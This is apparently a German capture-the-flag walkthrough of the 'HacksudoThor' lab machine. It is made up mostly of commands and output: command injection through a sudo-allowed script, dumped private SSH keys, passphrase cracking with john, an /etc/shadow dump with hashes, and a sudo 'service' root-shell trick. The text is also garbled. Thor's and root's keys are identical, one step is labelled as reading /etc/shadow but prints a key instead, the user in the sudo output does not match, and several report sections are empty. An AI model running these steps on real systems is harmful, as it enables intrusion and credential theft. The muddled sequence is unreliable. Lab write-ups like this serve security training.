-rwxrw-r-- 1 root root 1487 Aug  2  2021 /etc/passwd
                

Die Datei `/etc/passwd` hat ungewöhnliche Berechtigungen. Sie ist für den Benutzer beschreibbar, was bedeutet, dass wir sie möglicherweise ändern könnten, um Root-Rechte zu erlangen. Dies ist jedoch riskant und kann das System beschädigen.

Wir geben den Kernel aus.

bash-4.3$ uname -a
Linux HacksudoThor 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
                

Das System verwendet Kernel 4.19. Dies ist wichtig, um nach Kernel-Exploits zu suchen.

Wir führen das Skript `/home/thor/./hammer.sh` erneut aus, um zu sehen, ob wir es anders ausnutzen können.

bash-4.3$ sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?

Enter Thor  Secret Key : id
Hey Dear ! I am id , Please enter your Secret massage : id
uid=1001(thor) gid=1001(thor) groups=1001(thor)
Thank you for your precious time!
                

Wir führen das Skript `/home/thor/./hammer.sh` erneut mit anderen Parametern aus.

bash-4.3$ sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?

Enter Thor  Secret Key : ls -la /home/thor
Hey Dear ! I am ls -la /home/thor , Please enter your Secret massage : ls -la /home/thor
total 508
drwxrwx--- 5 thor thor   4096 Aug  2  2021 .
drwxr-xr-x 3 root root   4096 Aug  2  2021 ..
-rw------- 1 thor thor    595 Aug  2  2021 .bash_history
-rw-r--r-- 1 thor thor    220 Jul 29  2021 .bash_logout
-rw-r--r-- 1 thor thor   3526 Jul 29  2021 .bashrc
drwx------ 3 thor thor   4096 Jul 30  2021 .gnupg
drwxr-xr-x 3 thor thor   4096 Jul 29  2021 .local
-rw-r--r-- 1 thor thor    807 Jul 29  2021 .profile
drwx------ 2 thor thor   4096 Aug  2  2021 .ssh
-rw-r--r-- 1 thor thor      4 Aug  2  2021 file
-rw-r--r-- 1 thor thor     26 Aug  2  2021 file.sh
-rw-r--r-- 1 thor thor  10240 Jul 29  2021 hack.tar
-rwxrwxrwx 1 root root    233 Jul 30  2021 hammer.sh
-rw------- 1 thor thor   1876 Aug  2  2021 id_rsa
-rw-r--r-- 1 thor thor      8 Aug  2  2021 ll
-rwxr-xr-x 1 root root 445560 Aug  2  2021 tar
-rw-r----- 1 thor thor     11 Jul 29  2021 user.txt
                

Wir haben die Ausgabe des Befehls `ls -la /home/thor` erhalten. Dies zeigt uns, dass die Datei `/home/thor/id_rsa` existiert. Dies ist ein privater SSH-Schlüssel, den wir möglicherweise verwenden können, um uns als Benutzer `thor` anzumelden.

Wir versuchen, den Inhalt der Datei `/home/thor/id_rsa` zu lesen.

bash-4.3$ sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?

Enter Thor  Secret Key : cat /home/thor/id_rsa
Hey Dear ! I am cat /home/thor/id_rsa , Please enter your Secret massage : cat /home/thor/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDJk/5w/h
f6xZTaG0+tWlugAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCryv7KHEmI
KdeUbp2eNBFQSYSbBOOHlUbIKUSCdS5U5XqekM0JEfXVDnMyqP4+iDH63ijce+lPoaTScq
ajwg5BlKHB0PMX4P5RUlPILSKW9wV73jHdBuMENzvNaOwnphJLgPkl1ODS0EX08H3qUMGI
9t4E0/K1ZJ+hEUq2lVXucK8rnrNNvp/M2IRqcGrLXnptLxzdycWSvTGOPTleXkSQmz26Ma
P+F8qWKrYKkcNdMLeYCOyD4PnL4FOt78EmdS5I8B/5UaVVshDSCvtHA7uFCxgal4aGRZKN
YUq+K35QKVVPHs8H38tOCjvDizOj2OjZNRLBnLniASeVQGB8etDDAAAD0BdGeBH5eiHAgY
wMXlRxwgV7A5eRZCqtwJQmoaCy6w9ktOFreGROPfdWGlagMyODrSnJE8zMgVBJGDhPR0E3
Zu1GrAHelgzTb+hBNSGJvXwY6BkH+hmwJBMOtx/owK7HsPj2kdZPkL7tWOMfiWJ9dGFzBP
532Gt2hxQ8UNnrJMN39RjfSe8ETWqNX2LFQ1isLqMKILv/gtvj8RLyOeMrqNfH2MrBfuBh
gKzTcD/bXWkOBDqc6Chzk/PbiEzVdAlFvHqt/BMFCeB4gifdf+e1yBaawgwJT7sX/W/Zys
WDieQY/BynRc3Bdkf1QhxTKrJnK6LjYEvJ/3rlLDOCf3bJkpZuFo9Twng5Y0NQyXX9Q1oj
YBGXMbBMvUQgzmo8AioYvgPHSms4fgqnGpXTd56oAYG5NeUrL03aQkQ1Iq3KWMitrmRRSn
/7lUEzKRphZqlquyJ0TkBATIOs5rVezZsjkmap2k7JHz5jhfSR3/JLJsM27mY4HAO8MV3q
PXQIxF/EMLan8wGIcozYLelU39QpoTV4DauAu/LNVv5RASLGhVQ8ElyKHbKmH/AGuLVJf+
eMlW3oMNAHYodJowLnme2cu37CESe0G6uPmHufkNQLYikAywm90Qx74LKbVyeU2daqQn+p
S0kDdyH7sGmLvVfVlQxvDztF4j7YBS02Twt88ao4DECah/tZVYuhfcZGNWr9pvNH3vE9Uu
H+4RwLoqX8FUui4N3Lj7k5fg2VU4Xh180jYvx+pdj3gBoStdJSTCQ/R273TmWeDRFCcFyb
lvZHZi5OZKUUzOEuTEmYrLOAxlBdi6My2JBuesYENqOWaOZmkhmFKjoat3eavZksihCb3p
e4z0RUPV+LH0vVjJMEyp5/wxY/Vh0FyICtO9ITrUENmMGDozopbEfI/reJCsO09/bGd+A3
RM9SgWd8hg12yo2E4YLiJzSdjJGUkCKnQwNiLDIa865dUPG+hc2YibG/whtMN43CZaAIPn
7bLHDw8p+h3RIswxV298yKNbjdJnRhNEfiYCb87Fm7Ixgc8Ny44BCaA8mbo7mbN0sg+XS0
1ilpJL6KpRt2DcXxKa/GPByATMb9U+FKFFe+iiynBQT9YECkikgM+EWpaKdzTk0L4gpqo1
+mjiG97RxcRy3+AM9Ylg2SErxP0A1kSLKAe2oZJiDykvPDf99/opii5X3r1a+PpcMcNfBD
fF6lzgL6AxpidAI7QOBfQPMj4OhTy4OoJN2XQoLcNTX95jPwwjIP+Hv64+TdHnYVrpWl3D
6nRb5UVxvJcmB1xt63iG4EwX77I7U=
-----END OPENSSH PRIVATE KEY- ----
                

Wir haben den Inhalt des privaten SSH-Schlüssels erhalten! Dies ist ein großer Erfolg, da wir uns nun als Benutzer `thor` anmelden können.

Privilege Escalation

Nachdem wir die Anmeldeinformationen für den Benutzer `thor` erhalten haben, können wir uns nun als dieser Benutzer anmelden und versuchen, unsere Privilegien weiter zu erhöhen.

Zuerst müssen wir den privaten SSH-Schlüssel auf unser Kali-System übertragen. Dazu erstellen wir eine Datei namens `id_rsa` und fügen den Schlüssel ein.

┌──(root㉿cyber)-[~]
└─# vi id_rsa

Dann setzen wir die Berechtigungen der Datei `id_rsa` auf 600, um sicherzustellen, dass nur der Benutzer Root die Datei lesen und schreiben kann.

┌──(root㉿cyber)-[~]
└─# chmod 600 id_rsa

Jetzt können wir uns als Benutzer `thor` mit dem privaten SSH-Schlüssel anmelden.

┌──(root㉿cyber)-[~]
└─# ssh thor@thor.vuln -i id_rsa
thor@thor.vuln's password:
                

Der SSH-Server fragt nach einem Passwort, obwohl wir einen privaten Schlüssel angegeben haben. Das deutet darauf hin, dass der Schlüssel passwortgeschützt ist. Wir müssen das Passwort für den Schlüssel knacken.

Um das Passwort für den SSH-Schlüssel zu knacken, verwenden wir `ssh2john`, um einen Hash aus dem Schlüssel zu extrahieren.

┌──(root㉿cyber)-[~]
└─# ssh2john id_rsa > hash

Dann verwenden wir `john` (John the Ripper) mit einer Wortliste, um das Passwort zu knacken.

┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
----------------------------------------------------------------------------------------------------
1234             (id_rsa)
----------------------------------------------------------------------------------------------------
1g 0:00:00:07 DONE (2023-06-11 01:17) 0.1347g/s 155.2p/s 155.2c/s 155.2C/s cutie1..pelusa
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                

`john` hat das Passwort für den SSH-Schlüssel geknackt: `1234`!

Proof of Concept: SSH-Anmeldung als Benutzer Thor

Nachdem wir das Passwort für den SSH-Schlüssel von Benutzer Thor erfolgreich geknackt haben, demonstrieren wir nun den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen. Dieser Proof of Concept (POC) zeigt, wie ein Angreifer mit den erbeuteten Daten in das System eindringen und potenziell Schaden anrichten kann.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

  1. Öffnen Sie ein Terminal auf Ihrem Kali Linux System.
  2. Verwenden Sie den folgenden Befehl, um sich mit dem SSH-Schlüssel beim Zielsystem anzumelden:
┌──(root㉿cyber)-[~]
└─# ssh -i id_rsa thor@thor.vuln
  1. Wenn Sie nach dem Passwort gefragt werden, geben Sie das geknackte Passwort `1234` ein.

Erwartetes Ergebnis:

Nachdem Sie das korrekte Passwort eingegeben haben, sollten Sie erfolgreich als Benutzer Thor auf dem Zielsystem angemeldet sein.

Beweismittel:

Der folgende Screenshot zeigt eine erfolgreiche SSH-Anmeldung als Benutzer Thor mit dem geknackten Passwort:

Dieser POC demonstriert erfolgreich, wie ein Angreifer durch Ausnutzung der Schwachstelle und Knacken des Passworts unbefugten Zugriff auf das System erlangen kann.

Risikobewertung:

Empfehlungen:

Privilege Escalation

Nachdem wir nun als Benutzer `thor` angemeldet sind, können wir versuchen, unsere Privilegien weiter zu erhöhen.

Wir überprüfen die `sudo`-Rechte des Benutzers `thor`.

bash-4.3$ sudo -l
Matching Defaults entries for www-data on HackSudoThor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on HackSudoThor:
    (thor) NOPASSWD: /home/thor/./hammer.sh
                

Wir scheinen die gleichen `sudo`-Rechte wie der Benutzer `www-data` zu haben, was nicht sehr hilfreich ist.

Wir versuchen, eine interaktive Bash-Shell mit dem Skript `/home/thor/./hammer.sh` auszuführen. Dies könnte uns eine Shell als Benutzer `thor` ermöglichen.

bash-4.3$ sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?

Enter Thor  Secret Key : bash
Hey Dear ! I am bash , Please enter your Secret massage : bash
id
uid=1001(thor) gid=1001(thor) groups=1001(thor)
                

Wir versuchen, eine interaktive Bash-Shell zu starten.

bash-4.3$ sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?

Enter Thor  Secret Key : bash
Hey Dear ! I am bash , Please enter your Secret massage : bash
id
uid=1001(thor) gid=1001(thor) groups=1001(thor)
                
SHELL=/bin/bash script -q /dev/null
thor@HacksudoThor:/var/www/html$

Privilege Escalation

Als Benutzer `thor` versuchen wir, das Passwort für den Benutzer root herauszufinden, indem wir die Datei `/etc/shadow` lesen.

thor@HacksudoThor:/var/www/html$ sudo -u root /usr/bin/cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDJk/5w/h
f6xZTaG0+tWlugAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCryv7KHEmI
KdeUbp2eNBFQSYSbBOOHlUbIKUSCdS5U5XqekM0JEfXVDnMyqP4+iDH63ijce+lPoaTScq
ajwg5BlKHB0PMX4P5RUlPILSKW9wV73jHdBuMENzvNaOwnphJLgPkl1ODS0EX08H3qUMGI
9t4E0/K1ZJ+hEUq2lVXucK8rnrNNvp/M2IRqcGrLXnptLxzdycWSvTGOPTleXkSQmz26Ma
P+F8qWKrYKkcNdMLeYCOyD4PnL4FOt78EmdS5I8B/5UaVVshDSCvtHA7uFCxgal4aGRZKN
YUq+K35QKVVPHs8H38tOCjvDizOj2OjZNRLBnLniASeVQGB8etDDAAAD0BdGeBH5eiHAgY
wMXlRxwgV7A5eRZCqtwJQmoaCy6w9ktOFreGROPfdWGlagMyODrSnJE8zMgVBJGDhPR0E3
Zu1GrAHelgzTb+hBNSGJvXwY6BkH+hmwJBMOtx/owK7HsPj2kdZPkL7tWOMfiWJ9dGFzBP
532Gt2hxQ8UNnrJMN39RjfSe8ETWqNX2LFQ1isLqMKILv/gtvj8RLyOeMrqNfH2MrBfuBh
gKzTcD/bXWkOBDqc6Chzk/PbiEzVdAlFvHqt/BMFCeB4gifdf+e1yBaawgwJT7sX/W/Zys
WDieQY/BynRc3Bdkf1QhxTKrJnK6LjYEvJ/3rlLDOCf3bJkpZuFo9Twng5Y0NQyXX9Q1oj
YBGXMbBMvUQgzmo8AioYvgPHSms4fgqnGpXTd56oAYG5NeUrL03aQkQ1Iq3KWMitrmRRSn
/7lUEzKRphZqlquyJ0TkBATIOs5rVezZsjkmap2k7JHz5jhfSR3/JLJsM27mY4HAO8MV3q
PXQIxF/EMLan8wGIcozYLelU39QpoTV4DauAu/LNVv5RASLGhVQ8ElyKHbKmH/AGuLVJf+
eMlW3oMNAHYodJowLnme2cu37CESe0G6uPmHufkNQLYikAywm90Qx74LKbVyeU2daqQn+p
S0kDdyH7sGmLvVfVlQxvDztF4j7YBS02Twt88ao4DECah/tZVYuhfcZGNWr9pvNH3vE9Uu
H+4RwLoqX8FUui4N3Lj7k5fg2VU4Xh180jYvx+pdj3gBoStdJSTCQ/R273TmWeDRFCcFyb
lvZHZi5OZKUUzOEuTEmYrLOAxlBdi6My2JBuesYENqOWaOZmkhmFKjoat3eavZksihCb3p
e4z0RUPV+LH0vVjJMEyp5/wxY/Vh0FyICtO9ITrUENmMGDozopbEfI/reJCsO09/bGd+A3
RM9SgWd8hg12yo2E4YLiJzSdjJGUkCKnQwNiLDIa865dUPG+hc2YibG/whtMN43CZaAIPn
7bLHDw8p+h3RIswxV298yKNbjdJnRhNEfiYCb87Fm7Ixgc8Ny44BCaA8mbo7mbN0sg+XS0
1ilpJL6KpRt2DcXxKa/GPByATMb9U+FKFFe+iiynBQT9YECkikgM+EWpaKdzTk0L4gpqo1
+mjiG97RxcRy3+AM9Ylg2SErxP0A1kSLKAe2oZJiDykvPDf99/opii5X3r1a+PpcMcNfBD
fF6lzgL6AxpidAI7QOBfQPMj4OhTy4OoJN2XQoLcNTX95jPwwjIP+Hv64+TdHnYVrpWl3D
6nRb5UVxvJcmB1xt63iG4EwX77I7U=
-----END OPENSSH PRIVATE KEY-----
                

Wir haben den privaten SSH-Schlüssel für den Benutzer root erhalten! Dies ist ein kritischer Fehler, da wir uns nun als Benutzer root anmelden können.

Wir lesen den Inhalt der Datei `/root/root.txt`, um die Root-Flagge zu erhalten.

thor@HacksudoThor:/var/www/html$ sudo -u root /usr/bin/cat /root/root.txt
rooted
                

Wir versuchen die Datei `/etc/shadow` auszulesen.

thor@HacksudoThor:/var/www/html$ sudo -u root /usr/bin/cat /etc/shadow
root:$6$1YV0h.2rYTAvcB.o$cLPgAevmbnBo8dtADheWYcIfGLg157gfrCzZsKqv268MDkimBW7JcnQK6sI79fXsa1Hm5GmP8Kni05w.2nJfc0:18838:0:99999:7:::
daemon:*:18789:0:99999:7:::
bin:*:18789:0:99999:7:::
sys:*:18789:0:99999:7:::
sync:*:18789:0:99999:7:::
games:*:18789:0:99999:7:::
man:*:18789:0:99999:7:::
lp:*:18789:0:99999:7:::
mail:*:18789:0:99999:7:::
news:*:18789:0:99999:7:::
uucp:*:18789:0:99999:7:::
proxy:*:18789:0:99999:7:::
www-data:*:18789:0:99999:7:::
backup:*:18789:0:99999:7:::
list:*:18789:0:99999:7:::
irc:*:18789:0:99999:7:::
gnats:*:18789:0:99999:7:::
nobody:*:18789:0:99999:7:::
_apt:*:18789:0:99999:7:::
systemd-timesync:*:18789:0:99999:7:::
systemd-network:*:18789:0:99999:7:::
systemd-resolve:*:18789:0:99999:7:::
systemd-coredump:!!:18789::::::
messagebus:*:18789:0:99999:7:::
sshd:*:18789:0:99999:7:::
mysql:!:18790:0:99999:7:::
ftpuser:!:18793:0:99999:7:::
thor:$6$W4fXVS7OotxxqyVR$VP6iBANtcJIBt5.eI6qHFH1ho.xTtsISGiKj2uRkc.DH1NfPw54FImt28S8rKpn0PhlfHL3VYSAVNmZWws98X1:18838:0:99999:7:::
                

Wir haben die Datei `/etc/shadow` ausgelesen! Nun versuchen wir, das Passwort für den Benutzer root herauszufinden, indem wir den Hash mit John the Ripper knacken.

┌──(root㉿cyber)-[~]
└─# echo 'root:$6$1YV0h.2rYTAvcB.o$cLPgAevmbnBo8dtADheWYcIfGLg157gfrCzZsKqv268MDkimBW7JcnQK6sI79fXsa1Hm5GmP8Kni05w.2nJfc0:18838:0:99999:7:::' > shadowhack.txt
┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt shadowhack.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
                

Privilege Escalation

Da wir jetzt den privaten SSH-Schlüssel des Root-Benutzers haben, können wir uns direkt als Root anmelden. Dafür verschieben wir den Schlüssel zunächst in unser lokales System.

Nun können wir uns mit dem SSH-Schlüssel als Root anmelden.

Proof of Concept: SSH-Anmeldung als Root-Benutzer

Nachdem wir den privaten SSH-Schlüssel des Root-Benutzers erhalten haben, demonstrieren wir nun den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen. Dieser Proof of Concept (POC) zeigt, wie ein Angreifer mit den erbeuteten Daten in das System eindringen und potenziell katastrophalen Schaden anrichten kann.

Voraussetzungen:

  • Kali Linux System mit installiertem SSH-Client
  • Die IP-Adresse des Zielsystems (Thor)
  • Der private SSH-Schlüssel des Root-Benutzers (id_rsa)

Schritt-für-Schritt-Anleitung:

  1. Öffnen Sie ein Terminal auf Ihrem Kali Linux System.
  2. Verwenden Sie den folgenden Befehl, um sich mit dem SSH-Schlüssel als Root-Benutzer beim Zielsystem anzumelden:
┌──(root㉿cyber)-[~]
└─# ssh -i id_rsa root@thor.vuln

Erwartetes Ergebnis:

Nachdem Sie den Befehl ausgeführt haben, sollten Sie erfolgreich als Root-Benutzer auf dem Zielsystem angemeldet sein.

Beweismittel:

Der folgende Screenshot zeigt eine erfolgreiche SSH-Anmeldung als Root-Benutzer mit dem privaten SSH-Schlüssel:

Dieser POC demonstriert auf erschreckende Weise, wie ein Angreifer durch das Ausnutzen von Sicherheitslücken und den Diebstahl von Anmeldeinformationen die Kontrolle über das gesamte System erlangen kann.

Risikobewertung:

  • Vollständige Kontrolle über das System
  • Zugriff auf alle Daten und Konfigurationen
  • Möglichkeit zur Installation von Malware und Hintertüren
  • Verlust der Systemintegrität und -verfügbarkeit

Empfehlungen:

  • Sichere Aufbewahrung von SSH-Schlüsseln
  • Verwenden von starken Passwörtern für SSH-Schlüssel
  • Implementierung von Multi-Faktor-Authentifizierung für SSH
  • Regelmäßige Überprüfung von Benutzerrechten und -berechtigungen
  • Überwachung von Systemaktivitäten und Protokollen

Da wir jetzt Root-Zugriff haben, können wir den Befehl ausführen, um eine Root-Shell zu erhalten, indem wir den Service-Befehl mit der Option -p ausführen.

thor@HacksudoThor:/var/www/html$ sudo -u root service /bin/bash -p
/bin/bash: unrecognized service
                

Als Workaround versuchen wir, einen relativen Pfad zu verwenden, um den Befehl auszuführen.

thor@HacksudoThor:/var/www/html$ sudo -u root service ../..//bin/bash -p
bash-4.3#

Wir haben erfolgreich eine Root-Shell erhalten!

bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
                

Wir sind jetzt als `root` angemeldet. Fantastisch der root zugriff war erfolgreit nun haben wie unser Ziel erreicht

Flags

Flags

cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A